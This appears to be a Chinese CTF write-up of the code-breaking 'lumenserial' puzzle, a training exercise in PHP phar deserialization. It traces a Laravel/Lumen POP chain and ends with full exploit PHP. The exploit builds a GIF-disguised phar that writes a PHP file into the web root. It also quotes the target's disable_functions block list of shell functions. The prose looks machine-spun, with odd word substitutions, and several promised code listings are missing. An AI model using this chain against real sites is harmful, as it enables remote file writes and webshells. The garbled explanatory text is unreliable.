文中以 code-breaking 中 lumenserial 为例子,训练PHP反序列化 POP链 的寻找,题目详细地址:https://code-breaking.com/puzzle/7/ 。
软件环境规定
PHP >=7.1.3
OpenSSL PHP Extension
PDO PHP Extension
Mbstring PHP Extension
安裝题目自然环境
运作题目编码
大量请参照:https://laravel-china.org/docs/lumen/5.7/installation/2402
PS:升级P牛制做的docker自然环境 https://github.com/phith0n/code-breaking
在 routes/web.php 文档中,界定了 web 程序流程的路由器,在我们以 GET 或 POST 方法浏览 http://website/server/editor 的情况下,程序流程便会启用 app/Http/Controllers/EditorController.php 类中的 main 方法。
大家从而看 app/Http/Controllers/EditorController.php 文档,迅速便会发觉有一个 download 方法中的 $url 变量沒有历经一切解决用在了 file_get_contents 涵数中, download 方法编码以下:
这时候大家便考虑到 $url 变量是不是可控,假如可控,便能够运用 phar反序列化 。大家回朔寻找 $url 变量来源于,会发觉在 doCatchimage 方法中,该变量值是以 $sources 变量来。而 $sources 变量由客户传出的 source 主要参数决策(根据 http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif 即可控制 $url 变量),有关编码以下:
那麼接下去,大家就需要寻找可运用的类方法,随后根据 phar反序列化 开启系统漏洞。
在寻找 pop链 以前,大家何不先看一下 phpggc 中现有的 4种 有关 Laravel 架构 RCE 的 payload 形成方法,便于大家更迅速的找到题中的 pop链 ,其 4种 Laravel 架构 RCE 的 payload 形成方法各自以下:
第一种
其反序列化时,类方法启用全过程以下:
第二种
其反序列化时,类方法启用全过程以下:
第三种
其反序列化时,类方法启用全过程以下:
第4种
其反序列化时,类方法启用全过程以下:
这儿我选择 第一种 的 phar反序列化 实行結果图(题目自然环境为 PHP7.1.16 ):
殊不知本题目的自然环境也有一些附加的限定,比如 PHP 版本号为 7.2.14 ,且设定了禁止使用了以下涵数和类(这一根据 phpggc 的第一个 Laravel 架构 RCE 形成 phpinfo 涵数的运用 phar 就可以见到):
disable_functions:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
?
disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator
因为在 PHP7.x 版本号中,许多 涵数严禁动态性启用了,再加上上边的这种限定,因此 大家还必须寻找别的运用点,融合所述 POP 链,进行写 shell 。
我们可以发觉上边的4种 RCE 通道点都是以 PendingBroadcast 类的 __destruct 方法刚开始的,那麼大家主要检索 dispatch 方法和 __call 方法。历经一番检索,发觉 ValidGenerator 类中的 __call 比较好运用。
我们可以见到其编码中先启用了 call_user_func_array 涵数,随后将 call_user_func_array 涵数的实行結果又传到 call_user_func 涵数,要是大家能控制住 call_user_func_array 涵数的实行結果,等同于 call_user_func 涵数的2个主要参数都可控,那样大家便能够启用随意类方法。
大家然后检索能够用以操纵 call_user_func_array 涵数实行結果的类,这儿我找到了 DefaultGenerator 类的 __call 方法,我们可以见到返回值 $this->default 彻底可控。
如今 call_user_func(?res) 中的2个主要参数都可控了。那麼如果我们想写shell,就需要启用 file_put_contents 涵数,而这一涵数必须2个主要参数,因此 立即根据 call_user_func 涵数是没法应用该涵数的,大家必须根据 call_user_func_array 涵数来应用 file_put_contents 涵数,使用方法形如: call_user_func_array('file_put_contents',array('shell.php','test')) 。
根据立即检索 call_user_func_array 涵数,大家会发觉2个比较好运用的类涵数。可是这儿的第一个 ClosureWrapper 类我们无法运用,因此 得运用 ReturnCallback 类的 invoke 方法,实际编码以下:
很显著 invoke 方法2个主要参数都可控,如今大家要是结构好一个 Invocation 类目标就可以。根据检索,大家会发觉 Invocation 是一个插口,那麼大家寻找他的完成类就可以。这儿我找到了 StaticInvocation 类来完成上告作用,其编码实际以下:
这样子,大家的全部 POP链 就结构好啦。下边是 exp :
<?php
namespace Illuminate\\Broadcasting{
? ?class PendingBroadcast{
? ? ? ?protected $events;
? ? ? ?protected $event;
? ? ? ?function __construct($events, $event){
? ? ? ? ? ?$this->events = $events;
? ? ? ? ? ?$this->event = $event;
? ? ? }
? }
};
namespace Faker{
? ?class DefaultGenerator{
? ? ? ?protected $default;
? ? ? ?public function __construct($default = null){
? ? ? ? ? ?$this->default = $default;
? ? ? }
? }
? ?class ValidGenerator{
? ? ? ?protected $generator;
? ? ? ?protected $validator;
? ? ? ?protected $maxRetries;
? ? ? ?// __call方法中有call_user_func_array、call_user_func
? ? ? ?public function __construct($generator, $validator = null, $maxRetries = 10000)
? ? ?{
? ? ? ? ? ?$this->generator = $generator;
? ? ? ? ? ?$this->validator = $validator;
? ? ? ? ? ?$this->maxRetries = $maxRetries;
? ? ? }
? }
};
namespace PHPUnit\\Framework\\MockObject\\Stub{
? ?class ReturnCallback
?{
? ? ? ?private $callback;
? ? ? ?public function __construct($callback )
? ? ? {
? ? ? ? ? ?$this->callback = $callback;
? ? ? }
? }
};
namespace PHPUnit\Framework\MockObject\Invocation{
? ?class StaticInvocation{
? ? ? ?private $parameters;
? ? ? ?public function __construct($parameters){
? ? ? ? ? ?$this->parameters = $parameters;
? ? ? }
? }
};
namespace{
? ?$function = 'file_put_contents';
? ?$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
? ?$staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
? ?$returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
? ?$defaultgenerator = new Faker\DefaultGenerator($staticinvocation);
? ?$validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
? ?$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);
? ?$o = $pendingbroadcast;
? ?$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
? ?file_exists($filename) ? unlink($filename) : null;
? ?$phar=new Phar($filename);
? ?$phar->startBuffering();
? ?$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
? ?$phar->setMetadata($o);
? ?$phar->addFromString("foo.txt","bar");
? ?$phar->stopBuffering();
};
?
?>
我们再通过下面这张图片,来理清整个?POP链?的调用过程。